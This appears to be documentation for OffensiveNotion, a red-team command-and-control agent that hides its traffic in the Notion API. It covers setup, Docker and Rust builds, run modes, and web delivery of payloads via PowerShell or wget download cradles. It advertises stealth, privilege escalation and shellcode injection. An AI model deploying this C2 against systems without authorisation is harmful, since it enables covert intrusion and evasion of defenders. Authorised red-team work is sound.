OffensiveNotion combines the capabilities of a post-exploitation agent with the power and comfort of the Notion notetaking application. The agent sends data to and receives commands from your Notion page. Your C2 traffic blends right in as the agent receives instructions and posts results via the Notion developer API. And when your blue team looks for evidence of shenanigans, none will be the wiser.

Features

  • A full-featured C2 platform built on the Notion notetaking app.
  • Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
  • Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base. Includes a Python setup/controller script to simplify the process.
  • A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
  • Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
  • Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that’s a teamserver!
  • Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
  • Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.

Quickstart

TL;DR

How do I get this thing working so I can see what it can do?

  1. Make a Notion account
  2. Go to the Notion API developer page and log in. Create an Integration user (New integration). Copy that user’s API key.
  3. Create a page in your Notion book (any page will do). This is your “Listener.” Copy the final part of the URL or press ctl+L in the Desktop app. This is your parent page ID. Keep track of it for a moment. Deck out your page with a banner and emoji icon. Have fun with it.
  4. In the upper-right corner of your Notion page, click “Share” and “Invite.” Add your Notion Developer API account to this page.
  5. Download the Linux Debug agent from the Release section.
  6. Run the release agent in debug mode (-d) and input the values for each prompt.

husky@ubuntu:~/Desktop/OffensiveNotion/bin/linux_debug/debug$ ./offensive_notion -d
[] Starting! Getting config options! [] Enter agent sleep interval > 5
[] Enter agent jitter time > 0 [] Enter parent page id > […your parent page ID..]
[] Enter API Key > […your API key…] [] Enter Config File Path >
[leave blank]
[*] Enter Log Level (1-4) >
2

  • Your agent should now check into your Listener page:
  • Run commands! Make a To-Do block (/todo in the Notion app), enter shell whoami ?, and watch the magic unfold.

Docker

The best way to build the OffensiveNotion agent with your own custom configurations is with Docker and the main.py script. This acts as the turn-key point for the entire operation.

With two Docker commands, you can build the container that compiles the agent, set all of its configs in the source code, compile it, and have it available on your physical host. Then, you can run the commands again and change the configs if you want.

Building and Running the Container

This works best on Linux. You’ll need Docker, of course. Once you have Docker installed, clone the repo and change dirs into the repo.

Docker Build

To build the container:

$ sudo docker image build -t offensivenotion .

Docker Run

Use this Docker run command as a base:

$ sudo docker rm -f offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o linux -b release

…where:

  • sudo docker rm -f offensivenotion removes any running instance of the container.
  • -v $(pwd):/out maps the OffensiveNotion repo on the host to the /out directory in the container. tl;dr: your agent will be there when it is done compiling.
  • -o linux -b release is the set of build script arguments.

Everything after -it offensivenotion is an argument to the main.py script. What’s the main.py script, you say?

main.py

This script is the entrypoint of the container and handles everything you need to make an OffensiveNotion agent. It reads in the type of agent you want to make (Linux, Windows, or macOS), sets the configs in the source code, compiles the agent, and resets the source code for you.

It can also do some fun stuff like Web Delivery and a C2 check. More on these later.

Check out the full usage of main.py to see your options:

python3 main.py -h
usage: main.py [-h] [-o {linux,windows,macos}] [-b {debug,release}] [-c] [-w]
[-m {powershell,wget-linux,wget-psh,python-linux,python-windows}] [-ip HOSTIP] [-p PORT]
OffensiveNotion Setup. Must be run as root. Generates the OffensiveNotion agent in a container.
optional arguments:
-h, –help show this help message and exit
-o {linux,windows,macos}, –os {linux,windows,macos}
Target OS
-b {debug,release}, –build {debug,release}
Binary build
-c, –c2lint C2 linter. Checks your C2 config by creating a test page on your Listener.
-w, –webdelivery Start a web delivery server to host and deliver your agent. Provides convenient one liners to run on the
target.
-m {powershell,wget-linux,wget-psh,python-linux,python-windows}, –method {powershell,wget-linux,wget-psh,python-linux,python-windows}
Method of web delivery
-ip HOSTIP, –hostIP HOSTIP
Web server host IP.
-p PORT, –port PORT Web server host port.

The only two arguments that are required are -o, for the OS, and -b, for the build (debug or release). The additional arguments are covered in the Misc section.

If you do not pass in the build and OS arguments, it defaults to a Linux debug agent.

Once the script is running, follow the prompts to perform the installation. You’ll input your API key and parent page ID. More information on these can be found in the next section, Setup.

At the end, you’ll have an agent in the main directory of the repo.

More Examples of Docker Run

I want to build a Linux debug agent for testing:

$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion

I want to make a Windows release agent:

$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o windows -b release

I wanna try out that cool macOS agent everyone is talking about, release build:

$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o macos -b release

I want to build a Linux release agent and check to make sure my API key and parent page are good:

$ sudo docker rm -r offensivenotion && sudo docker container run -v $(pwd):/out –name offensivenotion -it offensivenotion -o linux -b release –c2llint

I want to make a Windows release payload and host it for web delivery

(Beast of a command incoming)

$ sudo docker rm -f offensivenotion && sudo docker container run -p 80:80 -v $(pwd):/out -it –name offensivenotion offensivenotion -o windows -b release -w -ip 10.10.1.237 –port 80 -m powershell

(let’s break it down)

…where:

  • sudo docker rm -f offensivenotion removes any running instance of the container.
  • sudo docker container run starts a container.
  • -p 80:80 publishes the port of the container and forwards it to the physical host. Make sure this matches the --port argument from the last part of this command.
  • -v $(pwd):/out mounts the current working directory on the host as a volume on the container. Your config.json and payload are moved here so they end up on your physical host in case you want to reuse them.
  • -it --name offensivenotion offensivenotion: Put me in an interactive terminal in the container (required to interact with main.py), call the container offensivenotion, use the offensivenotion image that we built earlier.
  • -o windows -b release -w -ip 10.10.1.237 --port 80 -m powershell: Everything in here is an argument for main.py, which you can find in the main.py usage (see above). In this case, make a windows release payload, turn web delivery on, use this IP address and this port for the download cradle, and use PowerShell to create the one-liner.

 Setup

Setting Up Your Notion Developer API Account (Full Instructions)

The Notion API uses special API accounts that can be added to pages. This creates a two-way trust that only allows a specific API user account with a specific API key to access a specific page. The OPSEC here is great!

First, head to https://developers.notion.com/ and log in with your regular Notion account.

Next, click on “My integrations” in the upper-right corner:

Setting Up A Listener Page (Full Instructions)

The “listener” is just a page in a Notion notebook. But you can set it up to catch the callbacks for your agents:

Create your listener page. Add a new page to Notion, preferably in a notebook that’s not being used for anything else:

Copy the URL of your page down. If you’re in the web browser Notion client, this can be taken from the URL of the page. In the desktop app, enter ctl-l to copy it to your clipboard.

If your listener URL is:

https://www.notion.so/LISTENER-11223344556677889900112233445566

… then your parent page ID is the number after the name of the listener. In this case, it is 11223344556677889900112233445566. This value is used to connect your agent to your listener, so keep track of it!

You are now ready to run the agent!

Build From Source

The best way to make an operational agent is with Docker and main.py. This process is covered in the Quickstart guide. But if you would rather build the agent from source, you can do that, too.

If you’re building from source, we recommend using a Linux host to build the agent to simplify the process.

Install Rust

On Linux/macOS, you can run:

$ curl –proto ‘=https’ –tlsv1.2 -sSf https://sh.rustup.rs | sh

Build the Agent

Download the OffensiveNotion repository and change to the agent/ directory.

Cargo uses what are known as “target triples” to indicate what platform to compile to. To see which ones you have installed, run rustup target list.

The native target (Linux on Linux, Windows on Windows, macOS on macOS) will work without additional configuration. We’ll discuss cross-compilation in a later section.

In addition to target triples, you can build either a debug or release target. debug is appropriate for testing, but release should be the only build deployed during engagements.

Linux

From the agent/ directory, run:

$ cargo build [–release]

… to build the Linux debug or release agent.

The agent is built in the target/ subdirectory.

Windows (from Linux)

We recommend compiling to Windows from Linux because honestly, it works better. Plus, you have more control over the samples getting submitted to Defender.

Install the Windows toolchain:

MingW tools to build Windows apps on Linux
apt install -y mingw-w64
rustup toolchain install stable-x86_64-pc-windows-gnu

…and build the agent:

$ cargo build –target x86_64-pc-windows-gnu [–release]

The agent is built in the target/x86_64-pc-windows-gnu/ subdirectory.

macOS

Building natively on macOS is fairly straightforward. As above, follow these steps:

  1. Install Rust by following the instructions at rustup.rs
  2. Clone the the OffensiveNotion GitHub repository.
  3. cd to the agent directory.

Now, before running cargo build, you’ll need to make sure the XCode command line tools are installed. If you’ve already set up XCode before, you’re set. Otherwise, run the following in a Terminal:

xcode-select –install

The necessary tools (clang, etc.) are now ready to use. You can now run cargo build --release. The result will be in the target/release/ directory inside of agent.

Cross-compiling to macOS from Linux.

It is in fact possible to cross-compile from Linux to macOS. This blog post contains the additional instructions necessary to do so. A few gotchas:

  • Make sure the additional config for linker and ar options are in agent/.cargo/config. Currently, the .cargo folder doesn’t exist.
  • If you don’t want to add that folder/file, you can run cargo with the following options:
    • CARGO_TARGET_x86_64_APPLE_DARWIN_LINKER=x86_64-apple-dawrin14-clang CARGO_TARGET_x86_64_APPLE_DARWIN_AR=x86_64_apple-darwin14-ar cargo build --release --target x86_64-apple-darwin
  • Make sure after cloning/building OSXCross, that you add its bin folder to the front of your $PATH.

Executing the Agent

The compiled agent can be run with a few different arguments. There is no help menu for the compiled agent, so please reference the following for its possible parameters:

No Arguments

If the agent has been compiled with default values for its parameters (i.e. by setting it up with main.py), those values are used by the agent when running with no arguments. This is the most OPSEC safe way to execute the agent. See the Quickstart guide and main.py for more information.

If the agent has not been compiled with default values for parameters, it will attempt to locate cfg.json in the current working directory. If this file is present, it will run with those parameters.

If there is no cfg.json file available in this case, the agent will exit without establishing a connection.

-d: Debug mode.

Allows you to input each agent parameter via the CLI. Recommended for debugging and testing. Not recommended for operations.

Example:

$ ./offensive_notion -d
[] Starting! Getting config options! [] Enter agent sleep interval > 5
[] Enter agent jitter time > 3 [] Enter parent page id > [….parent page ID….]
[] Enter API Key > […API key…] [] Enter Config File Path >
[*] Enter Log Level (1-4) >
5
[+] Admin context: false
[+] Hostname: ubuntu
[?] Config options: ConfigOptions { sleep_interval: 5, jitter_time: 3, parent_page_id: “[…parent page ID…]”, api_key: “[…API key…]”, config_file_path: “”, launch_app: false, log_level: 5 }
[+] Creating page…
[+] zzzZZZzzz: 5 seconds

-b: Base64 encoded config

Allows a base64 encoded version of the configuration options to be passed at execution.

Example:

$ ./offensive_notion -b eyJzbGVlcF9pbnRlcnZhbCI6NSwiaml0dGVyX3RpbWUiOjMsInBhcmVudF9wYWdlX2lkIjoiWy4uLi4gcGFyZW50IHBhZ2UgSUQuLi5dIiwiYXBpX2tleSI6IlsuLi4uc2VjcmV0IGtleS4uLl0iLCJjb25maWdfZmlsZV9wYXRoIjoiY2ZnLmpzb24iLCJsYXVuY2hfYXBwIjpmYWxzZSwibG9nX2xldmVsIjo1fQ==
[*] Starting!
[+] Admin context: false
[+] Hostname: ubuntu
[?] Config options: ConfigOptions { sleep_interval: 5, jitter_time: 3, parent_page_id: “[…parent page ID…]”, api_key: “[…API key…]”, config_file_path: “”, launch_app: false, log_level: 5 }
[+] Creating page…
[+] zzzZZZzzz:
5 seconds

-c: Config file

Passes a config file path to the agent to pull configurations.

Example:

$ cat cfg.json
{“sleep_interval”:5,”jitter_time”:3,”parent_page_id”:”[…parent page ID…]”,”api_key”:”[…APi key…]”,”config_file_path”:”cfg.json”,”launch_app”:false,”log_level”:5}
$ ./offensive_notion -c cfg.json
[*] Starting!
Object({“api_key”: String(“[….API key…..]”), “config_file_path”: String(“cfg.json”), “jitter_time”: Number(3), “launch_app”: Bool(false), “log_level”: Number(5), “parent_page_id”: String(“[…parent page ID…]”), “sleep_interval”: Number(5)})
[+] Admin context: false
[+] Hostname: ubuntu
[?] Config options: ConfigOptions { sleep_interval: 5, jitter_time: 3, parent_page_id: “[…parent page ID….]”, api_key: “[…API key….]”, config_file_path: “cfg.json”, launch_app: false, log_level: 5 }
[+] Creating page…
[+] zzzZZZzzz: 5 seconds